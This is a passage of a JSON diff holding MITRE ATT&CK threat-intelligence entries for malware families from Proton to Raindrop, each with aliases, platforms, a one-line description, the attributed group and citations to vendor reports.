[ + "Proton" + ], + "x_mitre_version": "1.2", + "modified": "2021-01-22T16:19:40.969Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "description": "[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0279", + "external_id": "S0279", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "Proton" + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Proxysvc", + "x_mitre_aliases": [ + "Proxysvc" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-30T17:23:20.589Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)", + "x_mitre_contributors": [ + "Edward Millington" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0238", + "external_id": "S0238", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: McAfee GhostSecret)", + "source_name": "Proxysvc" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Psylo", + "x_mitre_aliases": [ + "Psylo" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T17:23:59.127Z", + "created": "2017-05-31T21:32:53.268Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "description": "[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0078", + "external_id": "S0078", + "source_name": "mitre-attack" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Pteranodon", + "x_mitre_aliases": [ + "Pteranodon" + ], + "x_mitre_version": "1.1", + "modified": "2020-06-22T17:54:15.287Z", + "created": "2017-05-31T21:33:26.084Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0147", + "external_id": "S0147", + "source_name": "mitre-attack" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", + "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Pysa", + "x_mitre_aliases": [ + "Pysa", + "Mespinoza" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-27T20:19:31.430Z", + "created": "2021-03-01T19:44:27.287Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "description": "[Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0583", + "external_id": "S0583", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: CERT-FR PYSA April 2020)(Citation: DFIR Pysa Nov 2020)(Citation: NHS Digital Pysa Oct 2020)", + "source_name": "Pysa" + }, + { + "description": "(Citation: CERT-FR PYSA April 2020)(Citation: DFIR Pysa Nov 2020)(Citation: NHS Digital Pysa Oct 2020)", + "source_name": "Mespinoza" + }, + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021.", + "source_name": "CERT-FR PYSA April 2020" + }, + { + "url": "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "description": "THe DFIR Report. (2020, November 23). PYSA/Mespinoza Ransomware. Retrieved March 17, 2021.", + "source_name": "DFIR Pysa Nov 2020" + }, + { + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3633", + "description": "NHS Digital. (2020, October 10). Pysa Ransomware: Another 'big-game hunter' ransomware. Retrieved March 17, 2021.", + "source_name": "NHS Digital Pysa Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "QUADAGENT", + "x_mitre_aliases": [ + "QUADAGENT" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-28T21:38:43.793Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0269", + "external_id": "S0269", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 QUADAGENT July 2018)", + "source_name": "QUADAGENT" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ] + }, + { + "type": "malware", + "modified": "2021-10-15T21:47:13.084Z", + "name": "QakBot", + "x_mitre_aliases": [ + "QakBot", + "Pinkslipbot", + "QuackBot", + "QBot" + ], + "x_mitre_version": "1.0", + "created": "2021-09-27T19:35:35.326Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "description": "[QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Edward Millington" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0650", + "external_id": "S0650", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)", + "source_name": "Pinkslipbot" + }, + { + "description": "(Citation: Kaspersky QakBot September 2021)", + "source_name": "QuackBot" + }, + { + "description": "(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)", + "source_name": "QBot" + }, + { + "url": "https://success.trendmicro.com/solution/000283381", + "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.", + "source_name": "Trend Micro Qakbot December 2020" + }, + { + "url": "https://redcanary.com/threat-detection-report/threats/qbot/", + "description": "Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.", + "source_name": "Red Canary Qbot" + }, + { + "url": "https://securelist.com/qakbot-technical-analysis/103931/", + "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.", + "source_name": "Kaspersky QakBot September 2021" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", + "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.", + "source_name": "ATT QakBot April 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "RARSTONE", + "x_mitre_aliases": [ + "RARSTONE" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T17:24:58.616Z", + "created": "2017-05-31T21:32:38.480Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0055", + "external_id": "S0055", + "source_name": "mitre-attack" + }, + { + "source_name": "Aquino RARSTONE", + "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "RATANKBA", + "x_mitre_aliases": [ + "RATANKBA" + ], + "x_mitre_version": "1.1", + "modified": "2020-09-02T18:46:32.365Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0241", + "url": "https://attack.mitre.org/software/S0241" + }, + { + "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "source_name": "RATANKBA" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "RDAT", + "x_mitre_aliases": [ + "RDAT", + "RDAT " + ], + "x_mitre_version": "1.0", + "modified": "2020-10-15T23:59:45.815Z", + "created": "2020-07-28T17:26:36.168Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", + "description": "[RDAT](https://attack.mitre.org/software/S0495) is a backdoor used by the suspected Iranian threat group [OilRig](https://attack.mitre.org/groups/G0049). [RDAT](https://attack.mitre.org/software/S0495) was originally identified in 2017 and targeted companies in the telecommunications sector.(Citation: Unit42 RDAT July 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0495", + "external_id": "S0495", + "source_name": "mitre-attack" + }, + { + "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", + "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020.", + "source_name": "Unit42 RDAT July 2020" + } + ] + }, + { + "type": "malware", + "modified": "2019-10-16T15:34:22.990Z", + "name": "RDFSNIFFER", + "x_mitre_aliases": [ + "RDFSNIFFER" + ], + "x_mitre_version": "1.0", + "created": "2019-10-11T16:13:19.588Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", + "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0416", + "external_id": "S0416", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "source_name": "FireEye FIN7 Oct 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "REvil", + "x_mitre_aliases": [ + "REvil", + "Sodin", + "Sodinokibi" + ], + "x_mitre_version": "1.2", + "modified": "2021-08-18T19:38:51.122Z", + "created": "2020-08-04T15:06:14.796Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", + "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", + "x_mitre_contributors": [ + "Edward Millington" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0496", + "external_id": "S0496", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)", + "source_name": "Sodin" + }, + { + "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)", + "source_name": "Sodinokibi" + }, + { + "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", + "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.", + "source_name": "Secureworks REvil September 2019" + }, + { + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.", + "source_name": "Intel 471 REvil March 2020" + }, + { + "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html", + "description": "Group IB. (2020, May). Ransomware Uncovered: Attackers\u2019 Latest Methods. Retrieved August 5, 2020.", + "source_name": "Group IB Ransomware May 2020" + }, + { + "url": "https://securelist.com/sodin-ransomware/91473/", + "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020.", + "source_name": "Kaspersky Sodin July 2019" + }, + { + "url": "https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data", + "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020.", + "source_name": "G Data Sodinokibi June 2019" + }, + { + "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html", + "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020.", + "source_name": "Cylance Sodinokibi July 2019" + }, + { + "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection", + "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.", + "source_name": "Secureworks GandCrab and REvil September 2019" + }, + { + "url": "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", + "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020.", + "source_name": "Talos Sodinokibi April 2019" + }, + { + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", + "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020.", + "source_name": "McAfee Sodinokibi October 2019" + }, + { + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", + "description": "Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 Crescendo. Retrieved August 5, 2020.", + "source_name": "McAfee REvil October 2019" + }, + { + "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware", + "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020.", + "source_name": "Picus Sodinokibi January 2020" + }, + { + "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020.", + "source_name": "Tetra Defense Sodinokibi March 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "RGDoor", + "x_mitre_aliases": [ + "RGDoor" + ], + "x_mitre_version": "1.2", + "modified": "2021-09-10T18:59:39.228Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0258", + "external_id": "S0258", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 RGDoor Jan 2018)", + "source_name": "RGDoor" + }, + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "RIPTIDE", + "x_mitre_aliases": [ + "RIPTIDE" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T17:28:04.217Z", + "created": "2017-05-31T21:32:11.911Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "description": "[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0003", + "external_id": "S0003", + "source_name": "mitre-attack" + }, + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. 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(Citation: FireEye Bootkits)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0112", + "external_id": "S0112", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye Bootkits", + "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ROKRAT", + "x_mitre_aliases": [ + "ROKRAT" + ], + "x_mitre_version": "2.2", + "modified": "2020-11-23T18:54:49.190Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0240", + "external_id": "S0240", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Talos ROKRAT 2) (Citation: Talos Group123)", + "source_name": "ROKRAT" + }, + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "source_name": "Talos ROKRAT 2", + "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html" + } + ] + }, + { + "type": "malware", + "modified": "2020-07-03T22:22:05.857Z", + "name": "RTM", + "x_mitre_aliases": [ + "RTM", + "Redaman" + ], + "x_mitre_version": "1.1", + "created": "2017-05-31T21:33:26.565Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "description": "[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). Newer versions of the malware have been reported publicly as Redaman.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Arie Olshtein, Check Point", + "Kobi Eisenkraft, Check Point" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0148", + "external_id": "S0148", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit42 Redaman January 2019)", + "source_name": "Redaman" + }, + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + }, + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Ragnar Locker", + "x_mitre_aliases": [ + "Ragnar Locker" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-13T23:52:18.803Z", + "created": "2020-06-29T23:30:53.824Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--54895630-efd2-4608-9c24-319de972a9eb", + "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) is a ransomware that has been in use since at least December 2019.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0481", + "external_id": "S0481", + "source_name": "mitre-attack" + }, + { + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", + "source_name": "Sophos Ragnar May 2020" + }, + { + "url": "https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/", + "description": "Gold, B. (2020, April 27). Cynet Detection Report: Ragnar Locker Ransomware. Retrieved June 29, 2020.", + "source_name": "Cynet Ragnar Apr 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Raindrop", + "x_mitre_aliases": [ + "Raindrop" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-26T12:16:26.590Z", + "created": "2021-01-19T19:43:27.828Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "description": "[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 